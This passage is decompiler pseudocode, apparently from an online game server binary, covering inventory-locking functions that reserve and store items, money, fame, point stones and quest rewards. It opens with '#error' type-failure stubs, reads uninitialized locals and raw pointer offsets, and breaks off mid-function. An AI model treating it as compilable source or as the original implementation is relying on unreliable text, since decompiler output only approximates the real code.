undefined or illegal type '#325' (funcsize=30)" //----- (004656C0) -------------------------------------------------------- #error "4656C0: undefined or illegal type '#325' (funcsize=30)" //----- (00465760) -------------------------------------------------------- #error "465760: undefined or illegal type '#325' (funcsize=220)" //----- (00465A70) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser::icr_Reserv(InventoryLocking::InvenCellReleaser *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser::icr_Reserv"); } //----- (00465AC0) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv(InventoryLocking::InvenCellReleaser_CenChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->cen += LODWORD(lc->lc_Argument.cenchange.cen) * lc->lc_Argument.cenchange.plusminus; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_CenChange::icr_Reserv"); } //----- (00465B20) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv(InventoryLocking::InvenCellReleaser_FameChange *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->fame += LODWORD(lc->lc_Argument.cenchange.cen) * WORD2(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_FameChange::icr_Reserv"); } //----- (00465B90) -------------------------------------------------------- void __thiscall InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv(InventoryLocking::InvenCellReleaser_PointStone *this, InventoryLocking::ReservedQuantity *reserv, InventoryLocking::LockedCell *lc) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !LODWORD(lc->lc_Argument.cenchange.cen) ) reserv->hpstone += HIDWORD(lc->lc_Argument.cenchange.cen); if ( LODWORD(lc->lc_Argument.cenchange.cen) == 1 ) reserv->spstone += HIDWORD(lc->lc_Argument.cenchange.cen); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InvenCellReleaser_PointStone::icr_Reserv"); } //----- (00465C00) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::_InventoryCellLockList(InventoryLocking::InventoryCellLockList *this) { InventoryLocking::InventoryCellLockList *v1; // esi@1 void *v2; // eax@1 v1 = this; this->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLockList::_vftable_; v2 = this->icll_List.l_Array; this->icll_List.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->baseclass_0.vfptr = (InventoryLocking::InventoryCellLockVtbl *)&InventoryLocking::InventoryCellLock::_vftable_; } // 5B3638: using guessed type int (__stdcall *InventoryLocking__InventoryCellLock___vftable_)(int ele, __int16 handle); // 5B36A8: using guessed type int (__stdcall *List_InventoryLocking__LockedCell____vftable_[3])(__int16 hnd); // 5B3BB0: using guessed type int (__stdcall *InventoryLocking__InventoryCellLockList___vftable_)(int inven, int ignore); //----- (00465C30) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LockInventory(InventoryLocking::InventoryCellLockList *this, char lck) { this->icll_AllLock = lck; } //----- (00465C40) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven) { InventoryLocking::InventoryCellLockList *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.vfptr->icl_IsLocked( (InventoryLocking::InventoryCellLock *)v2, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v4; } //----- (00465CF0) -------------------------------------------------------- char __thiscall InventoryLocking::InventoryCellLockList::icl_IsLocked(InventoryLocking::InventoryCellLockList *this, ITEM_INVEN *inven, unsigned __int16 ignore) { InventoryLocking::InventoryCellLockList *v3; // esi@1 char v4; // al@1 char v5; // bl@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_IsLocked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))&v3->baseclass_0.vfptr->gap0[4])( v3, (unsigned int)inven->Inven >> 10, inven->Inven & 0x3FF, ignore); --funcallanalizer.fca_stackpoint; v5 = v4; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_IsLocked"); return v5; } //----- (00465DB0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_OnlyLock(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int inventype, int invenslot) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // cx@6 int v8; // ecx@6 __int16 v9; // dx@6 void *v10; // [sp+10h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_OnlyLock"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v10; v7 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_None; *(_WORD *)(v6 + 8) = (Index << 10) | v7 & 0x3FF; v8 = (Index << 10) | inventype & 0x3FF; v9 = v8 ^ *(_WORD *)(v6 + 8); *(_WORD *)(v6 + 10) = v8; *(_WORD *)(v6 + 8) ^= v9 & 0x3FF; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_OnlyLock"); } // 609B68: using guessed type int (__stdcall **InventoryLocking__InventoryCellLockList__icll_Releaser_None)(int, int lc, char inchest); //----- (00465EC0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ClearItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 __int16 v8; // cx@6 void *v9; // [sp+10h] [bp+0h]@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_ClearItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__cdecl *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = (_WORD)v9; v8 = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0] >> 10; if ( v8 == 4 ) { *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageClear; } else { if ( v8 == 3 || v8 == 13 || v8 == 14 || v8 == 16 ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureCellClear; else *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellClear; } if ( !(cell->iic_Item.iti_registnum.binary.gap0[1] & 0xFC) ) *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageWithdrawClear; *(_WORD *)(v7 + 8) = *(_WORD *)&cell->iic_Item.iti_registnum.binary.gap0[0]; *(_WORD *)(v7 + 10) = cur->Inven; *(_DWORD *)(v7 + 16) = Index; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_ClearItem"); } //----- (00466000) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // cx@6 bool v10; // zf@9 InventoryLocking::InvenCellReleaser_CellChange *v11; // ecx@9 unsigned __int16 v12; // dx@15 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; v9 = cur->Inven >> 10; if ( v9 == 3 || v9 == 13 || v9 == 14 || (v10 = v9 == 16, v11 = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChange, v10) ) v11 = (InventoryLocking::InvenCellReleaser_CellChange *)&InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_DWORD *)(v8 + 4) = v11; if ( (cur->Inven & 0xFC00) == 4096 ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildStorageChange; if ( !(HIBYTE(cur->Inven) & 0xFC) ) *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_GuildAcademyRewardStorageChange; *(_WORD *)(v8 + 8) = cur->Inven; v12 = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; *(_WORD *)(v8 + 10) = v12; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreItem"); } //----- (00466150) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreSmallItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ITEM_INVEN *to, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CellChangeSmall; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_WORD *)(v8 + 16) = to->Inven; memcpy((void *)(v8 + 18), iti, 0x6Fu); } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreSmallItem"); } //----- (00466260) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFurniture(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemInventoryCell *cell, ItemTotalInformation *iti, ITEM_INVEN *cur, ITEM_INVEN *exchange) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__stdcall *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = Index; *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FurnitureReloc; *(_WORD *)(v8 + 8) = cur->Inven; *(_WORD *)(v8 + 10) = exchange->Inven; *(_DWORD *)(v8 + 16) = cell; memcpy((void *)(v8 + 20), iti, 0x6Fu); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_ClearItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFurniture"); } //----- (00466370) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreMoney(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned __int64 money, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+10h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreMoney"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { v7 = *(_WORD *)(v6 + 10); *(_WORD *)v6 = (_WORD)v9; v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_CenChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = money; *(_WORD *)(v6 + 24) = WORD2(money); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreMoney : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreMoney"); } //----- (00466490) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StoreFame(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, unsigned int fame, int sign) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+10h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StoreFame"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_FameChange; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_WORD *)(v6 + 20) = fame; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_StoreFame : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StoreFame"); } //----- (004665A0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_EquipLocation(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int equslot, ItemInventoryCell *equcell, int otherhand, ItemInventoryCell *otherhandcell) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+10h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_EquipLocation"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_EquipLocation; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = equslot; *(_DWORD *)(v8 + 24) = equcell; *(_DWORD *)(v8 + 28) = otherhand; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_EquipLocation : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_EquipLocation"); } //----- (004666C0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_UseItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, ItemTotalInformation *iti, ITEM_INVEN *inv, UseEffect::UseItemBase *useitemclass) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@2 unsigned __int16 v8; // cx@6 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_UseItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = v5->icll_List.l_Finger.empty; if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = ((int (__stdcall *)(int))v5->icll_List.vfptr->l_AllocZ)(v6); if ( v7 ) { *(_WORD *)v7 = Index; *(_DWORD *)(v7 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_ItemUse; v8 = inv->Inven; *(_WORD *)(v7 + 10) = inv->Inven; *(_WORD *)(v7 + 8) = v8; memcpy((void *)(v7 + 16), iti, 0x6Fu); *(_DWORD *)(v7 + 128) = useitemclass; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_UseItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_UseItem"); } //----- (004667C0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_StorePointStone(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int flag, int num) { InventoryLocking::InventoryCellLockList *v4; // esi@1 int v5; // eax@1 int v6; // eax@2 __int16 v7; // dx@6 __int16 v8; // cx@6 void *v9; // [sp+10h] [bp+0h]@6 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); HIWORD(v5) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_StorePointStone"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v5) = v4->icll_List.l_Finger.empty; if ( (_WORD)v5 == -1 ) v6 = 0; else v6 = ((int (__cdecl *)(int))v4->icll_List.vfptr->l_AllocZ)(v5); if ( v6 ) { *(_WORD *)v6 = (_WORD)v9; v7 = *(_WORD *)(v6 + 10); v8 = *(_WORD *)(v6 + 8); *(_DWORD *)(v6 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_PointStone; *(_WORD *)(v6 + 10) = v7 & 0x3FF | 0x4400; *(_WORD *)(v6 + 8) = v8 & 0x3FF | 0x4400; *(_DWORD *)(v6 + 16) = Index; *(_DWORD *)(v6 + 20) = flag; } else { AssertClass::ac_AssertFail( &shineassert, "InventoryLocking::InventoryCellLockList::icl_StorePointStone : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_StorePointStone"); } //----- (004668D0) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_QuestReward(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, int exp, int fame, char ct_type, char ct_elementno) { InventoryLocking::InventoryCellLockList *v6; // esi@1 int v7; // eax@1 int v8; // eax@2 __int16 v9; // dx@6 __int16 v10; // cx@6 void *v11; // [sp+10h] [bp+0h]@6 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); HIWORD(v7) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_QuestReward"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v7) = v6->icll_List.l_Finger.empty; if ( (_WORD)v7 == -1 ) v8 = 0; else v8 = ((int (__cdecl *)(int))v6->icll_List.vfptr->l_AllocZ)(v7); if ( v8 ) { *(_WORD *)v8 = (_WORD)v11; v9 = *(_WORD *)(v8 + 10); v10 = *(_WORD *)(v8 + 8); *(_DWORD *)(v8 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_QuestReward; *(_WORD *)(v8 + 10) = v9 & 0x3FF | 0x4400; *(_WORD *)(v8 + 8) = v10 & 0x3FF | 0x4400; *(_DWORD *)(v8 + 16) = Index; *(_DWORD *)(v8 + 20) = exp; *(_BYTE *)(v8 + 24) = fame; *(_BYTE *)(v8 + 25) = ct_type; } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_QuestReward : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_QuestReward"); } //----- (004669F0) -------------------------------------------------------- InventoryLocking::ReservedQuantity *__thiscall InventoryLocking::InventoryCellLock::icl_ReservedQuantity(InventoryLocking::InventoryCellLock *this, InventoryLocking::ReservedQuantity *reserv) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; reserv->spstone = 0; reserv->hpstone = 0; reserv->fame = 0; reserv->cen = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLock::icl_ReservedQuantity"); return reserv; } //----- (00466A60) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_LinktoItem(InventoryLocking::InventoryCellLockList *this, unsigned __int16 Index, NPCManager::LinkInformTemplete *pLinkInfo) { InventoryLocking::InventoryCellLockList *v3; // esi@1 int v4; // eax@1 int v5; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); HIWORD(v4) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "InventoryLocking::InventoryCellLockList::icl_LinktoItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v4) = v3->icll_List.l_Finger.empty; if ( (_WORD)v4 == -1 ) v5 = 0; else v5 = ((int (__stdcall *)(int))v3->icll_List.vfptr->l_AllocZ)(v4); if ( v5 ) { *(_WORD *)v5 = Index; *(_DWORD *)(v5 + 4) = &InventoryLocking::InventoryCellLockList::icll_Releaser_LinkInfo; memcpy((void *)(v5 + 16), pLinkInfo, 0x65u); } else { AssertClass::ac_AssertFail(&shineassert, "InventoryLocking::InventoryCellLockList::icl_LinktoItem : List Full", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "InventoryLocking::InventoryCellLockList::icl_LinktoItem"); } //----- (00466B50) -------------------------------------------------------- void __thiscall InventoryLocking::InventoryCellLockList::icl_ItemInfoZoneRng(InventoryLocking::InventoryCellLockList *this, unsigned __int16 index, SHINE_INVEN_SLOT_INFO from, SHINE_INVEN_SLOT_INFO to, ItemTotalInformation changeiteminfo) { InventoryLocking::InventoryCellLockList *v5; // esi@1 int v6; // eax@1 int v7; // eax@4 v5 = this; 